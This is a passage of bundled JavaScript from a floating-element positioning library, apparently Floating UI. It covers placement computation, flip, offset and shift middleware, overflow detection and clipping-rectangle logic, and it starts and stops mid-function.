        list = list.concat(list.map(getOppositeAlignmentPlacement));
      }
    }
    return list;
  }
  function getOppositePlacement(placement) {
    return placement.replace(/left|right|bottom|top/g, (side) =&gt; oppositeSideMap[side]);
  }
  function expandPaddingObject(padding) {
    return {
      top: 0,
      right: 0,
      bottom: 0,
      left: 0,
      ...padding
    };
  }
  function getPaddingObject(padding) {
    return typeof padding !== &quot;number&quot; ? expandPaddingObject(padding) : {
      top: padding,
      right: padding,
      bottom: padding,
      left: padding
    };
  }
  function rectToClientRect(rect) {
    return {
      ...rect,
      top: rect.y,
      left: rect.x,
      right: rect.x + rect.width,
      bottom: rect.y + rect.height
    };
  }
  function computeCoordsFromPlacement(_ref, placement, rtl) {
    let {
      reference,
      floating
    } = _ref;
    const sideAxis = getSideAxis(placement);
    const alignmentAxis = getAlignmentAxis(placement);
    const alignLength = getAxisLength(alignmentAxis);
    const side = getSide(placement);
    const isVertical = sideAxis === &quot;y&quot;;
    const commonX = reference.x + reference.width / 2 - floating.width / 2;
    const commonY = reference.y + reference.height / 2 - floating.height / 2;
    const commonAlign = reference[alignLength] / 2 - floating[alignLength] / 2;
    let coords;
    switch (side) {
      case &quot;top&quot;:
        coords = {
          x: commonX,
          y: reference.y - floating.height
        };
        break;
      case &quot;bottom&quot;:
        coords = {
          x: commonX,
          y: reference.y + reference.height
        };
        break;
      case &quot;right&quot;:
        coords = {
          x: reference.x + reference.width,
          y: commonY
        };
        break;
      case &quot;left&quot;:
        coords = {
          x: reference.x - floating.width,
          y: commonY
        };
        break;
      default:
        coords = {
          x: reference.x,
          y: reference.y
        };
    }
    switch (getAlignment(placement)) {
      case &quot;start&quot;:
        coords[alignmentAxis] -= commonAlign * (rtl &amp;&amp; isVertical ? -1 : 1);
        break;
      case &quot;end&quot;:
        coords[alignmentAxis] += commonAlign * (rtl &amp;&amp; isVertical ? -1 : 1);
        break;
    }
    return coords;
  }
  var computePosition = async (reference, floating, config) =&gt; {
    const {
      placement = &quot;bottom&quot;,
      strategy = &quot;absolute&quot;,
      middleware = [],
      platform: platform2
    } = config;
    const validMiddleware = middleware.filter(Boolean);
    const rtl = await (platform2.isRTL == null ? void 0 : platform2.isRTL(floating));
    let rects = await platform2.getElementRects({
      reference,
      floating,
      strategy
    });
    let {
      x,
      y
    } = computeCoordsFromPlacement(rects, placement, rtl);
    let statefulPlacement = placement;
    let middlewareData = {};
    let resetCount = 0;
    for (let i = 0; i &lt; validMiddleware.length; i++) {
      const {
        name,
        fn
      } = validMiddleware[i];
      const {
        x: nextX,
        y: nextY,
        data: data2,
        reset
      } = await fn({
        x,
        y,
        initialPlacement: placement,
        placement: statefulPlacement,
        strategy,
        middlewareData,
        rects,
        platform: platform2,
        elements: {
          reference,
          floating
        }
      });
      x = nextX != null ? nextX : x;
      y = nextY != null ? nextY : y;
      middlewareData = {
        ...middlewareData,
        [name]: {
          ...middlewareData[name],
          ...data2
        }
      };
      if (reset &amp;&amp; resetCount &lt;= 50) {
        resetCount++;
        if (typeof reset === &quot;object&quot;) {
          if (reset.placement) {
            statefulPlacement = reset.placement;
          }
          if (reset.rects) {
            rects = reset.rects === true ? await platform2.getElementRects({
              reference,
              floating,
              strategy
            }) : reset.rects;
          }
          ({
            x,
            y
          } = computeCoordsFromPlacement(rects, statefulPlacement, rtl));
        }
        i = -1;
        continue;
      }
    }
    return {
      x,
      y,
      placement: statefulPlacement,
      strategy,
      middlewareData
    };
  };
  async function detectOverflow(state, options) {
    var _await$platform$isEle;
    if (options === void 0) {
      options = {};
    }
    const {
      x,
      y,
      platform: platform2,
      rects,
      elements,
      strategy
    } = state;
    const {
      boundary = &quot;clippingAncestors&quot;,
      rootBoundary = &quot;viewport&quot;,
      elementContext = &quot;floating&quot;,
      altBoundary = false,
      padding = 0
    } = evaluate2(options, state);
    const paddingObject = getPaddingObject(padding);
    const altContext = elementContext === &quot;floating&quot; ? &quot;reference&quot; : &quot;floating&quot;;
    const element = elements[altBoundary ? altContext : elementContext];
    const clippingClientRect = rectToClientRect(await platform2.getClippingRect({
      element: ((_await$platform$isEle = await (platform2.isElement == null ? void 0 : platform2.isElement(element))) != null ? _await$platform$isEle : true) ? element : element.contextElement || await (platform2.getDocumentElement == null ? void 0 : platform2.getDocumentElement(elements.floating)),
      boundary,
      rootBoundary,
      strategy
    }));
    const rect = elementContext === &quot;floating&quot; ? {
      ...rects.floating,
      x,
      y
    } : rects.reference;
    const offsetParent = await (platform2.getOffsetParent == null ? void 0 : platform2.getOffsetParent(elements.floating));
    const offsetScale = await (platform2.isElement == null ? void 0 : platform2.isElement(offsetParent)) ? await (platform2.getScale == null ? void 0 : platform2.getScale(offsetParent)) || {
      x: 1,
      y: 1
    } : {
      x: 1,
      y: 1
    };
    const elementClientRect = rectToClientRect(platform2.convertOffsetParentRelativeRectToViewportRelativeRect ? await platform2.convertOffsetParentRelativeRectToViewportRelativeRect({
      rect,
      offsetParent,
      strategy
    }) : rect);
    return {
      top: (clippingClientRect.top - elementClientRect.top + paddingObject.top) / offsetScale.y,
      bottom: (elementClientRect.bottom - clippingClientRect.bottom + paddingObject.bottom) / offsetScale.y,
      left: (clippingClientRect.left - elementClientRect.left + paddingObject.left) / offsetScale.x,
      right: (elementClientRect.right - clippingClientRect.right + paddingObject.right) / offsetScale.x
    };
  }
  var flip = function(options) {
    if (options === void 0) {
      options = {};
    }
    return {
      name: &quot;flip&quot;,
      options,
      async fn(state) {
        var _middlewareData$arrow, _middlewareData$flip;
        const {
          placement,
          middlewareData,
          rects,
          initialPlacement,
          platform: platform2,
          elements
        } = state;
        const {
          mainAxis: checkMainAxis = true,
          crossAxis: checkCrossAxis = true,
          fallbackPlacements: specifiedFallbackPlacements,
          fallbackStrategy = &quot;bestFit&quot;,
          fallbackAxisSideDirection = &quot;none&quot;,
          flipAlignment = true,
          ...detectOverflowOptions
        } = evaluate2(options, state);
        if ((_middlewareData$arrow = middlewareData.arrow) != null &amp;&amp; _middlewareData$arrow.alignmentOffset) {
          return {};
        }
        const side = getSide(placement);
        const isBasePlacement = getSide(initialPlacement) === initialPlacement;
        const rtl = await (platform2.isRTL == null ? void 0 : platform2.isRTL(elements.floating));
        const fallbackPlacements = specifiedFallbackPlacements || (isBasePlacement || !flipAlignment ? [getOppositePlacement(initialPlacement)] : getExpandedPlacements(initialPlacement));
        if (!specifiedFallbackPlacements &amp;&amp; fallbackAxisSideDirection !== &quot;none&quot;) {
          fallbackPlacements.push(...getOppositeAxisPlacements(initialPlacement, flipAlignment, fallbackAxisSideDirection, rtl));
        }
        const placements2 = [initialPlacement, ...fallbackPlacements];
        const overflow = await detectOverflow(state, detectOverflowOptions);
        const overflows = [];
        let overflowsData = ((_middlewareData$flip = middlewareData.flip) == null ? void 0 : _middlewareData$flip.overflows) || [];
        if (checkMainAxis) {
          overflows.push(overflow[side]);
        }
        if (checkCrossAxis) {
          const sides2 = getAlignmentSides(placement, rects, rtl);
          overflows.push(overflow[sides2[0]], overflow[sides2[1]]);
        }
        overflowsData = [...overflowsData, {
          placement,
          overflows
        }];
        if (!overflows.every((side2) =&gt; side2 &lt;= 0)) {
          var _middlewareData$flip2, _overflowsData$filter;
          const nextIndex = (((_middlewareData$flip2 = middlewareData.flip) == null ? void 0 : _middlewareData$flip2.index) || 0) + 1;
          const nextPlacement = placements2[nextIndex];
          if (nextPlacement) {
            return {
              data: {
                index: nextIndex,
                overflows: overflowsData
              },
              reset: {
                placement: nextPlacement
              }
            };
          }
          let resetPlacement = (_overflowsData$filter = overflowsData.filter((d) =&gt; d.overflows[0] &lt;= 0).sort((a, b) =&gt; a.overflows[1] - b.overflows[1])[0]) == null ? void 0 : _overflowsData$filter.placement;
          if (!resetPlacement) {
            switch (fallbackStrategy) {
              case &quot;bestFit&quot;: {
                var _overflowsData$map$so;
                const placement2 = (_overflowsData$map$so = overflowsData.map((d) =&gt; [d.placement, d.overflows.filter((overflow2) =&gt; overflow2 &gt; 0).reduce((acc, overflow2) =&gt; acc + overflow2, 0)]).sort((a, b) =&gt; a[1] - b[1])[0]) == null ? void 0 : _overflowsData$map$so[0];
                if (placement2) {
                  resetPlacement = placement2;
                }
                break;
              }
              case &quot;initialPlacement&quot;:
                resetPlacement = initialPlacement;
                break;
            }
          }
          if (placement !== resetPlacement) {
            return {
              reset: {
                placement: resetPlacement
              }
            };
          }
        }
        return {};
      }
    };
  };
  async function convertValueToCoords(state, options) {
    const {
      placement,
      platform: platform2,
      elements
    } = state;
    const rtl = await (platform2.isRTL == null ? void 0 : platform2.isRTL(elements.floating));
    const side = getSide(placement);
    const alignment = getAlignment(placement);
    const isVertical = getSideAxis(placement) === &quot;y&quot;;
    const mainAxisMulti = [&quot;left&quot;, &quot;top&quot;].includes(side) ? -1 : 1;
    const crossAxisMulti = rtl &amp;&amp; isVertical ? -1 : 1;
    const rawValue = evaluate2(options, state);
    let {
      mainAxis,
      crossAxis,
      alignmentAxis
    } = typeof rawValue === &quot;number&quot; ? {
      mainAxis: rawValue,
      crossAxis: 0,
      alignmentAxis: null
    } : {
      mainAxis: 0,
      crossAxis: 0,
      alignmentAxis: null,
      ...rawValue
    };
    if (alignment &amp;&amp; typeof alignmentAxis === &quot;number&quot;) {
      crossAxis = alignment === &quot;end&quot; ? alignmentAxis * -1 : alignmentAxis;
    }
    return isVertical ? {
      x: crossAxis * crossAxisMulti,
      y: mainAxis * mainAxisMulti
    } : {
      x: mainAxis * mainAxisMulti,
      y: crossAxis * crossAxisMulti
    };
  }
  var offset = function(options) {
    if (options === void 0) {
      options = 0;
    }
    return {
      name: &quot;offset&quot;,
      options,
      async fn(state) {
        const {
          x,
          y
        } = state;
        const diffCoords = await convertValueToCoords(state, options);
        return {
          x: x + diffCoords.x,
          y: y + diffCoords.y,
          data: diffCoords
        };
      }
    };
  };
  var shift = function(options) {
    if (options === void 0) {
      options = {};
    }
    return {
      name: &quot;shift&quot;,
      options,
      async fn(state) {
        const {
          x,
          y,
          placement
        } = state;
        const {
          mainAxis: checkMainAxis = true,
          crossAxis: checkCrossAxis = false,
          limiter = {
            fn: (_ref) =&gt; {
              let {
                x: x2,
                y: y2
              } = _ref;
              return {
                x: x2,
                y: y2
              };
            }
          },
          ...detectOverflowOptions
        } = evaluate2(options, state);
        const coords = {
          x,
          y
        };
        const overflow = await detectOverflow(state, detectOverflowOptions);
        const crossAxis = getSideAxis(getSide(placement));
        const mainAxis = getOppositeAxis(crossAxis);
        let mainAxisCoord = coords[mainAxis];
        let crossAxisCoord = coords[crossAxis];
        if (checkMainAxis) {
          const minSide = mainAxis === &quot;y&quot; ? &quot;top&quot; : &quot;left&quot;;
          const maxSide = mainAxis === &quot;y&quot; ? &quot;bottom&quot; : &quot;right&quot;;
          const min2 = mainAxisCoord + overflow[minSide];
          const max2 = mainAxisCoord - overflow[maxSide];
          mainAxisCoord = clamp(min2, mainAxisCoord, max2);
        }
        if (checkCrossAxis) {
          const minSide = crossAxis === &quot;y&quot; ? &quot;top&quot; : &quot;left&quot;;
          const maxSide = crossAxis === &quot;y&quot; ? &quot;bottom&quot; : &quot;right&quot;;
          const min2 = crossAxisCoord + overflow[minSide];
          const max2 = crossAxisCoord - overflow[maxSide];
          crossAxisCoord = clamp(min2, crossAxisCoord, max2);
        }
        const limitedCoords = limiter.fn({
          ...state,
          [mainAxis]: mainAxisCoord,
          [crossAxis]: crossAxisCoord
        });
        return {
          ...limitedCoords,
          data: {
            x: limitedCoords.x - x,
            y: limitedCoords.y - y
          }
        };
      }
    };
  };
  function getNodeName(node) {
    if (isNode(node)) {
      return (node.nodeName || &quot;&quot;).toLowerCase();
    }
    return &quot;#document&quot;;
  }
  function getWindow(node) {
    var _node$ownerDocument;
    return (node == null ? void 0 : (_node$ownerDocument = node.ownerDocument) == null ? void 0 : _node$ownerDocument.defaultView) || window;
  }
  function getDocumentElement(node) {
    var _ref;
    return (_ref = (isNode(node) ? node.ownerDocument : node.document) || window.document) == null ? void 0 : _ref.documentElement;
  }
  function isNode(value) {
    return value instanceof Node || value instanceof getWindow(value).Node;
  }
  function isElement(value) {
    return value instanceof Element || value instanceof getWindow(value).Element;
  }
  function isHTMLElement(value) {
    return value instanceof HTMLElement || value instanceof getWindow(value).HTMLElement;
  }
  function isShadowRoot(value) {
    if (typeof ShadowRoot === &quot;undefined&quot;) {
      return false;
    }
    return value instanceof ShadowRoot || value instanceof getWindow(value).ShadowRoot;
  }
  function isOverflowElement(element) {
    const {
      overflow,
      overflowX,
      overflowY,
      display
    } = getComputedStyle2(element);
    return /auto|scroll|overlay|hidden|clip/.test(overflow + overflowY + overflowX) &amp;&amp; ![&quot;inline&quot;, &quot;contents&quot;].includes(display);
  }
  function isTableElement(element) {
    return [&quot;table&quot;, &quot;td&quot;, &quot;th&quot;].includes(getNodeName(element));
  }
  function isContainingBlock(element) {
    const webkit = isWebKit();
    const css = getComputedStyle2(element);
    return css.transform !== &quot;none&quot; || css.perspective !== &quot;none&quot; || (css.containerType ? css.containerType !== &quot;normal&quot; : false) || !webkit &amp;&amp; (css.backdropFilter ? css.backdropFilter !== &quot;none&quot; : false) || !webkit &amp;&amp; (css.filter ? css.filter !== &quot;none&quot; : false) || [&quot;transform&quot;, &quot;perspective&quot;, &quot;filter&quot;].some((value) =&gt; (css.willChange || &quot;&quot;).includes(value)) || [&quot;paint&quot;, &quot;layout&quot;, &quot;strict&quot;, &quot;content&quot;].some((value) =&gt; (css.contain || &quot;&quot;).includes(value));
  }
  function getContainingBlock(element) {
    let currentNode = getParentNode(element);
    while (isHTMLElement(currentNode) &amp;&amp; !isLastTraversableNode(currentNode)) {
      if (isContainingBlock(currentNode)) {
        return currentNode;
      } else {
        currentNode = getParentNode(currentNode);
      }
    }
    return null;
  }
  function isWebKit() {
    if (typeof CSS === &quot;undefined&quot; || !CSS.supports)
      return false;
    return CSS.supports(&quot;-webkit-backdrop-filter&quot;, &quot;none&quot;);
  }
  function isLastTraversableNode(node) {
    return [&quot;html&quot;, &quot;body&quot;, &quot;#document&quot;].includes(getNodeName(node));
  }
  function getComputedStyle2(element) {
    return getWindow(element).getComputedStyle(element);
  }
  function getNodeScroll(element) {
    if (isElement(element)) {
      return {
        scrollLeft: element.scrollLeft,
        scrollTop: element.scrollTop
      };
    }
    return {
      scrollLeft: element.pageXOffset,
      scrollTop: element.pageYOffset
    };
  }
  function getParentNode(node) {
    if (getNodeName(node) === &quot;html&quot;) {
      return node;
    }
    const result = node.assignedSlot || node.parentNode || isShadowRoot(node) &amp;&amp; node.host || getDocumentElement(node);
    return isShadowRoot(result) ? result.host : result;
  }
  function getNearestOverflowAncestor(node) {
    const parentNode = getParentNode(node);
    if (isLastTraversableNode(parentNode)) {
      return node.ownerDocument ? node.ownerDocument.body : node.body;
    }
    if (isHTMLElement(parentNode) &amp;&amp; isOverflowElement(parentNode)) {
      return parentNode;
    }
    return getNearestOverflowAncestor(parentNode);
  }
  function getOverflowAncestors(node, list, traverseIframes) {
    var _node$ownerDocument2;
    if (list === void 0) {
      list = [];
    }
    if (traverseIframes === void 0) {
      traverseIframes = true;
    }
    const scrollableAncestor = getNearestOverflowAncestor(node);
    const isBody = scrollableAncestor === ((_node$ownerDocument2 = node.ownerDocument) == null ? void 0 : _node$ownerDocument2.body);
    const win = getWindow(scrollableAncestor);
    if (isBody) {
      return list.concat(win, win.visualViewport || [], isOverflowElement(scrollableAncestor) ? scrollableAncestor : [], win.frameElement &amp;&amp; traverseIframes ? getOverflowAncestors(win.frameElement) : []);
    }
    return list.concat(scrollableAncestor, getOverflowAncestors(scrollableAncestor, [], traverseIframes));
  }
  function getCssDimensions(element) {
    const css = getComputedStyle2(element);
    let width = parseFloat(css.width) || 0;
    let height = parseFloat(css.height) || 0;
    const hasOffset = isHTMLElement(element);
    const offsetWidth = hasOffset ? element.offsetWidth : width;
    const offsetHeight = hasOffset ? element.offsetHeight : height;
    const shouldFallback = round(width) !== offsetWidth || round(height) !== offsetHeight;
    if (shouldFallback) {
      width = offsetWidth;
      height = offsetHeight;
    }
    return {
      width,
      height,
      $: shouldFallback
    };
  }
  function unwrapElement(element) {
    return !isElement(element) ? element.contextElement : element;
  }
  function getScale(element) {
    const domElement = unwrapElement(element);
    if (!isHTMLElement(domElement)) {
      return createCoords(1);
    }
    const rect = domElement.getBoundingClientRect();
    const {
      width,
      height,
      $
    } = getCssDimensions(domElement);
    let x = ($ ? round(rect.width) : rect.width) / width;
    let y = ($ ? round(rect.height) : rect.height) / height;
    if (!x || !Number.isFinite(x)) {
      x = 1;
    }
    if (!y || !Number.isFinite(y)) {
      y = 1;
    }
    return {
      x,
      y
    };
  }
  var noOffsets = /* @__PURE__ */ createCoords(0);
  function getVisualOffsets(element) {
    const win = getWindow(element);
    if (!isWebKit() || !win.visualViewport) {
      return noOffsets;
    }
    return {
      x: win.visualViewport.offsetLeft,
      y: win.visualViewport.offsetTop
    };
  }
  function shouldAddVisualOffsets(element, isFixed, floatingOffsetParent) {
    if (isFixed === void 0) {
      isFixed = false;
    }
    if (!floatingOffsetParent || isFixed &amp;&amp; floatingOffsetParent !== getWindow(element)) {
      return false;
    }
    return isFixed;
  }
  function getBoundingClientRect(element, includeScale, isFixedStrategy, offsetParent) {
    if (includeScale === void 0) {
      includeScale = false;
    }
    if (isFixedStrategy === void 0) {
      isFixedStrategy = false;
    }
    const clientRect = element.getBoundingClientRect();
    const domElement = unwrapElement(element);
    let scale = createCoords(1);
    if (includeScale) {
      if (offsetParent) {
        if (isElement(offsetParent)) {
          scale = getScale(offsetParent);
        }
      } else {
        scale = getScale(element);
      }
    }
    const visualOffsets = shouldAddVisualOffsets(domElement, isFixedStrategy, offsetParent) ? getVisualOffsets(domElement) : createCoords(0);
    let x = (clientRect.left + visualOffsets.x) / scale.x;
    let y = (clientRect.top + visualOffsets.y) / scale.y;
    let width = clientRect.width / scale.x;
    let height = clientRect.height / scale.y;
    if (domElement) {
      const win = getWindow(domElement);
      const offsetWin = offsetParent &amp;&amp; isElement(offsetParent) ? getWindow(offsetParent) : offsetParent;
      let currentIFrame = win.frameElement;
      while (currentIFrame &amp;&amp; offsetParent &amp;&amp; offsetWin !== win) {
        const iframeScale = getScale(currentIFrame);
        const iframeRect = currentIFrame.getBoundingClientRect();
        const css = getComputedStyle2(currentIFrame);
        const left = iframeRect.left + (currentIFrame.clientLeft + parseFloat(css.paddingLeft)) * iframeScale.x;
        const top = iframeRect.top + (currentIFrame.clientTop + parseFloat(css.paddingTop)) * iframeScale.y;
        x *= iframeScale.x;
        y *= iframeScale.y;
        width *= iframeScale.x;
        height *= iframeScale.y;
        x += left;
        y += top;
        currentIFrame = getWindow(currentIFrame).frameElement;
      }
    }
    return rectToClientRect({
      width,
      height,
      x,
      y
    });
  }
  function convertOffsetParentRelativeRectToViewportRelativeRect(_ref) {
    let {
      rect,
      offsetParent,
      strategy
    } = _ref;
    const isOffsetParentAnElement = isHTMLElement(offsetParent);
    const documentElement = getDocumentElement(offsetParent);
    if (offsetParent === documentElement) {
      return rect;
    }
    let scroll = {
      scrollLeft: 0,
      scrollTop: 0
    };
    let scale = createCoords(1);
    const offsets = createCoords(0);
    if (isOffsetParentAnElement || !isOffsetParentAnElement &amp;&amp; strategy !== &quot;fixed&quot;) {
      if (getNodeName(offsetParent) !== &quot;body&quot; || isOverflowElement(documentElement)) {
        scroll = getNodeScroll(offsetParent);
      }
      if (isHTMLElement(offsetParent)) {
        const offsetRect = getBoundingClientRect(offsetParent);
        scale = getScale(offsetParent);
        offsets.x = offsetRect.x + offsetParent.clientLeft;
        offsets.y = offsetRect.y + offsetParent.clientTop;
      }
    }
    return {
      width: rect.width * scale.x,
      height: rect.height * scale.y,
      x: rect.x * scale.x - scroll.scrollLeft * scale.x + offsets.x,
      y: rect.y * scale.y - scroll.scrollTop * scale.y + offsets.y
    };
  }
  function getClientRects(element) {
    return Array.from(element.getClientRects());
  }
  function getWindowScrollBarX(element) {
    return getBoundingClientRect(getDocumentElement(element)).left + getNodeScroll(element).scrollLeft;
  }
  function getDocumentRect(element) {
    const html = getDocumentElement(element);
    const scroll = getNodeScroll(element);
    const body = element.ownerDocument.body;
    const width = max(html.scrollWidth, html.clientWidth, body.scrollWidth, body.clientWidth);
    const height = max(html.scrollHeight, html.clientHeight, body.scrollHeight, body.clientHeight);
    let x = -scroll.scrollLeft + getWindowScrollBarX(element);
    const y = -scroll.scrollTop;
    if (getComputedStyle2(body).direction === &quot;rtl&quot;) {
      x += max(html.clientWidth, body.clientWidth) - width;
    }
    return {
      width,
      height,
      x,
      y
    };
  }
  function getViewportRect(element, strategy) {
    const win = getWindow(element);
    const html = getDocumentElement(element);
    const visualViewport = win.visualViewport;
    let width = html.clientWidth;
    let height = html.clientHeight;
    let x = 0;
    let y = 0;
    if (visualViewport) {
      width = visualViewport.width;
      height = visualViewport.height;
      const visualViewportBased = isWebKit();
      if (!visualViewportBased || visualViewportBased &amp;&amp; strategy === &quot;fixed&quot;) {
        x = visualViewport.offsetLeft;
        y = visualViewport.offsetTop;
      }
    }
    return {
      width,
      height,
      x,
      y
    };
  }
  function getInnerBoundingClientRect(element, strategy) {
    const clientRect = getBoundingClientRect(element, true, strategy === &quot;fixed&quot;);
    const top = clientRect.top + element.clientTop;
    const left = clientRect.left + element.clientLeft;
    const scale = isHTMLElement(element) ? getScale(element) : createCoords(1);
    const width = element.clientWidth * scale.x;
    const height = element.clientHeight * scale.y;
    const x = left * scale.x;
    const y = top * scale.y;
    return {
      width,
      height,
      x,
      y
    };
  }
  function getClientRectFromClippingAncestor(element, clippingAncestor, strategy) {
    let rect;
    if (clippingAncestor === &quot;viewport&quot;) {
      rect = getViewportRect(element, strategy);
    } else if (clippingAncestor === &quot;document&quot;) {
      rect = getDocumentRect(getDocumentElement(element));
    } else if (isElement(clippingAncestor)) {
      rect = getInnerBoundingClientRect(clippingAncestor, strategy);
    } else {
      const visualOffsets = getVisualOffsets(element);
      rect = {
        ...clippingAncestor,
        x: clippingAncestor.x - visualOffsets.x,
        y: clippingAncestor.y - visualOffsets.y
      };
    }
    return rectToClientRect(rect);
  }
  function hasFixedPositionAncestor(element, stopNode) {
    const parentNode = getParentNode(element);
    if (parentNode === stopNode || !isElement(parentNode) || isLastTraversableNode(parentNode)) {
      return false;
    }
    return getComputedStyle2(parentNode).position === &quot;fixed&quot; || hasFixedPositionAncestor(parentNode, stopNode);
  }
  function getClippingElementAncestors(element, cache) {
    const cachedResult = cache.get(element);
    if (cachedResult) {
      return cachedResult;
    }
    let result = getOverflowAncestors(element, [], false).filter((el) =&gt; isElement(el) &amp;&amp; getNodeName(el) !== &quot;body&quot;);
    let currentContainingBlockComputedStyle = null;
    const elementIsFixed = getComputedStyle2(element).position === &quot;fixed&quot;;
    let currentNode = elementIsFixed ? getParentNode(element) : element;
    while (isElement(currentNode) &amp;&amp; !isLastTraversableNode(currentNode)) {
      const computedStyle = getComputedStyle2(currentNode);
      const currentNodeIsContaining = isContainingBlock(currentNode);
      if (!currentNodeIsContaining &amp;&amp; computedStyle.position === &quot;fixed&quot;) {
        currentContainingBlockComputedStyle = null;
      }
      const shouldDropCurrentNode = elementIsFixed ? !currentNodeIsContaining &amp;&amp; !currentContainingBlockComputedStyle : !currentNodeIsContaining &amp;&amp; computedStyle.position === &quot;static&quot; &amp;&amp; !!currentContainingBlockComputedStyle &amp;&amp; [&quot;absolute&quot;, &quot;fixed&quot;].includes(currentContainingBlockComputedStyle.position) || isOverflowElement(currentNode) &amp;&amp; !currentNodeIsContaining &amp;&amp; hasFixedPositionAncestor(element, currentNode);
      if (shouldDropCurrentNode) {
        result = result.filter((ancestor) =&gt; ancestor !== currentNode);
      } else {
        currentContainingBlockComputedStyle = computedStyle;
      }
      currentNode = getParentNode(currentNode);
    }
    cache.set(element, result);
    return result;
  }
  function getClippingRect(_ref) {
    let {
      element,
      boundary,
      rootBoundary,
      strategy
    } = _ref;
    const elementClippingAncestors = boundary === &quot;clippingAncestors&quot; ? getClippingElementAncestors(element, this._c) : [].concat(boundary);
    const clippingAncestors = [...elementClippingAncestors, rootBoundary];
    const firstClippingAncestor = clippingAncestors[0];
    const clippingRect = clippingAncestors.reduce((accRect, clippingAncestor) =&gt; {
      const rect = getClientRectFromClippingAncestor(element, clippingAncestor, strategy);
      accRect.top = max(rect.top, accRect.top);
      accRect.right = min(rect.right, accRect.right);
      accRect.bottom = min(rect.bottom, accRect.bottom);
      accRect.left = max(rect.left, accRect.left);
      return accRect;
    }, getClientRectFromClippingAncestor(element, firstClippingAncestor, strategy));
    return {
      width: clippingRect.right - clippingRect.left,
      height: clippingRect.bottom - clippingRect.top,
      x: clippingRect.left,
      y: clippingRect.top
    };
  }
  function getDimensions(element) {
    return getCssDimensions(element);
  }
  function getRectRelativeToOffsetParent(element, offsetParent, strategy) {
    const isOffsetParentAnElement = isHTMLElement(offsetParent);
    const documentElement = getDocumentElement(offsetParent);
    const isFixed = strategy === &quot;fixed&quot;;
    const rect = getBoundingClientRect(element, true, isFixed, offsetParent);
    let scroll = {
      scrollLeft: 0,
      scrollTop: 0
    };
    const offsets = createCoords(0);
    if (isOffsetParentAnElement || !isOffsetParentAnElement &amp;&amp; !isFixed) {
      if (getNodeName(offsetParent) !== &quot;body&quot; || isOverflowElement(documentElement)) {
        scroll = getNodeScroll(offsetParent);
      }
      if (isOffsetParentAnElement) {
        const offsetRect = getBoundingClientRect(offsetParent, true, isFixed, offsetParent);
        offsets.x = offsetRect.x + offsetParent.clientLeft;
        offsets.y = offsetRect.y + offsetParent.clientTop;
      } else if (documentElement) {
        offsets.x = getWindowScrollBarX(documentElement);
      }
    }
    return {
      x: rect.left + scroll.scrollLeft - offsets.x,
      y: rect.top + scroll.scrollTop - offsets.y,
      width: rect.width,
      height: rect.height
    };
  }
  function getTrueOffsetParent(element, polyfill) {
    if (!isHTMLElement(element) || getComputedStyle2(element).position === &quot;fixed&quot;) {
      return null;
    }
    if (polyfill) {
      return polyfill(element);
    }
    return element.offsetParent;
  }
  function getOffsetParent(element, polyfill) {
    const window2 = getWindow(element);
    if (!isHTMLElement(element)) {
      return window2;
    }
    let offsetParent = getTrueOffsetParent(element, polyfill);
    while (offsetParent &amp;&amp; isTableElement(offsetParent) &amp;&amp; getComputedStyle2(offsetParent).position === &quot;static&quot;) {
      offsetParent = getTrueOffsetParent(offsetParent, polyfill);
    }
    if (offsetParent &amp;&amp; (getNodeName(offsetParent) === &quot;html&quot; || getNodeName(offsetParent) === &quot;body&quot; &amp;&amp; getComputedStyle2(offsetParent).position === &quot;static&quot; &amp;&amp; !isContainingBlock(offsetParent))) {
      return window2;
    }
    return offsetParent || getContainingBlock(element) || window2;
  }
  var getElementRects = async function(_ref) {
    let {
      reference,
      floating,
      strategy
    } = _ref;
    const getOffsetParentFn = this.getOffsetParent || getOffsetParent;
    const getDimensionsFn = this.getDimensions;
    return {
      reference: getRectRelativeToOffsetParent(reference, await getOffsetParentFn(floating), strategy),
      floating: {
        x: 0,
        y: 0,
        ...await getDimensionsFn(floating)
      }
    };
  };
  function isRTL(element) {
    return getComputedStyle2(element).direction === &quot;rtl&quot;;
  }
  var platform = {
    convertOffsetParentRelativeRectToViewportRelativeRect,
    getDocumentElement,
    getClippingRect,
    getOffsetParent,
    getElementRects,
    getClientRects,
    getDimensions,
    getScale,
    isElement,
    isRTL
  };
  function observeMove(element, onMove) {
    let io = null;
    let timeoutId;
    const root = getDocumentElement(element);
    function cleanup2() {
      clearTimeout(timeoutId);
      io &amp;&amp; io.disconnect();
      io = null;
    }
    function refresh(skip, threshold) {
      if (skip === void 0) {
        skip = false;
      }
      if (threshold === void 0) {
        threshold = 1;
      }
      cleanup2();
      const {
        left,
        top,
        width,
        height
      } = element.getBoundingClientRect();
      if (!skip) {
        onMove();
      }
      if (!width || !height) {
        return;
      }
      const insetTop = floor(top);
      const insetRight = floor(root.clientWidth - (left + width));
      const insetBottom = floor(root.clientHeight - (top + height));
      const insetLeft = floor(left);
      const rootMargin = -insetTop + &quot;px &quot; + -insetRight + &quot;px &quot; + -insetBottom + &quot;px &quot; + -insetLeft + &quot;px&quot;;
      const options = {
        rootMargin,
        threshold: max(0, min(1, threshold)) || 1
      };
      let isFirstUpdate = true;
      function handleObserve(entries) {
        const ratio = entries[0].intersectionRatio;
        if (ratio !== threshold) {
          if (!isFirstUpdate) {
            return refresh();
          }
          if (!ratio) {
            timeoutId = setTimeout(() =&gt; {
              refresh(false, 1e-7);
            }, 100);
          } else {
            refresh(false, ratio);
          }
        }
        isFirstUpdate = false;
      }
      try {
        io = new IntersectionObserver(handleObserve, {
          ...options,
          root: root.ownerDocument
        });
      } catch (e) {
        io = new IntersectionObserver(handleObserve, options);
      }
      io.observe(element);
    }
    refresh(true);
    return cleanup2;
  }
  function autoUpdate(reference, floating, update, options) {
    if (options === void 0) {
      options = {};
    }
    const {
      ancestorScroll = true,
      ancestorResize = true,
      elementResize = typeof ResizeObserver === &quot;function&quot;,
      layoutShift = typeof IntersectionObserver === &quot;function&quot;,
      animationFrame = false
    } = options;
    const referenceEl = unwrapElement(reference);
    const ancestors = ancestorScroll || ancestorResize ? [...referenceEl ? getOverflowAncestors(referenceEl) : [], ...getOverflowAncestors(floating)] : [];
    ancestors.forEach((ancestor) =&gt; {
      ancestorScroll &amp;&amp; ancestor.addEventListener(&quot;scroll&quot;, update, {
        passive: true
      });
      ancestorResize &amp;&amp; ancestor.addEventListener(&quot;resize&quot;, update);
    });
    const cleanupIo = referenceEl &amp;&amp; layoutShift ? observeMove(referenceEl, update) : null;
    let reobserveFrame = -1;
    let resizeObserver = null;
    if (elementResize) {
      resizeObserver = new ResizeObserver((_ref) =&gt; {
        let [firstEntry] = _ref;
